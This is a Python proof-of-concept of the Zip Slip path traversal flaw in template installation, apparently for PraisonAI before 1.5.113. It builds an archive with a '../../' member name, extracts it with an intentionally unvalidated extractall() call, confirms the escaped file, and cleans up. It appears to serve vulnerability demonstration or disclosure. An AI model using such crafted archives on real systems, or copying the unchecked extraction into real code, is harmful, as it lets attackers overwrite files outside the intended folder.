Vulnerable code sample

import os
import zipfile
import shutil

# This script demonstrates the "Zip Slip" vulnerability.
# It consists of two parts:
# 1. A function to create a malicious ZIP file containing a path traversal payload.
# 2. A vulnerable function that extracts this ZIP file without proper path validation.

def create_malicious_archive(filename="malicious_template.zip"):
    """
    Creates a zip archive that contains a file with a path traversal name.
    When extracted by a vulnerable application, this file will be written
    outside of the intended destination directory.
    """
    with zipfile.ZipFile(filename, 'w') as zf:
        # The file path traverses two directories up from the extraction root.
        malicious_path = '../../pwned_by_zipslip.txt'
        file_content = b'This file was placed here via a Zip Slip vulnerability.'
        zf.writestr(malicious_path, file_content)

def install_template_vulnerable(zip_path, destination_dir):
    """
    This function simulates the vulnerable template installation in PraisonAI < 1.5.113.
    It uses `zipfile.extractall()` without validating the file paths within the archive,
    making it vulnerable to a Zip Slip attack.
    """
    # Create the intended destination directory if it doesn't exist.
    os.makedirs(destination_dir, exist_ok=True)

    # VULNERABLE CODE:
    # `extractall` is called directly on the user-controlled archive.
    # It does not check if member file paths are safe.
    with zipfile.ZipFile(zip_path, 'r') as zip_ref:
        zip_ref.extractall(destination_dir)

if __name__ == '__main__':
    # Define file and directory names for the demonstration.
    malicious_zip_filename = "malicious_template.zip"
    extraction_target_dir = "templates/temp_install/"
    malicious_output_file = "pwned_by_zipslip.txt"

    # --- Setup ---
    # 1. Create the malicious zip archive.
    create_malicious_archive(malicious_zip_filename)

    # --- Attack Execution ---
    # 2. Run the vulnerable installation function.
    # This will extract the contents of the malicious zip into the target directory.
    # Due to the vulnerability, a file will be written outside this directory.
    try:
        install_template_vulnerable(malicious_zip_filename, extraction_target_dir)
    except Exception as e:
        # Python's zipfile module may raise an error on Windows for such paths.
        # The vulnerability is still present in the logic.
        print(f"An error occurred during extraction: {e}")

    # --- Verification ---
    # 3. Check if the malicious file was successfully created outside the target directory.
    if os.path.exists(malicious_output_file):
        print(f"[SUCCESS] Vulnerability Confirmed: Malicious file '{malicious_output_file}' created in the current directory.")
        with open(malicious_output_file, 'r') as f:
            print(f"File content: '{f.read().strip()}'")
    else:
        print(f"[FAILURE] Malicious file '{malicious_output_file}' was not found. The attack may have been prevented by the OS.")

    # --- Cleanup ---
    # 4. Remove the created files and directories.
    if os.path.exists(malicious_zip_filename):
        os.remove(malicious_zip_filename)
    if os.path.exists(malicious_output_file):
        os.remove(malicious_output_file)
    if os.path.exists("templates/"):
        shutil.rmtree("templates/")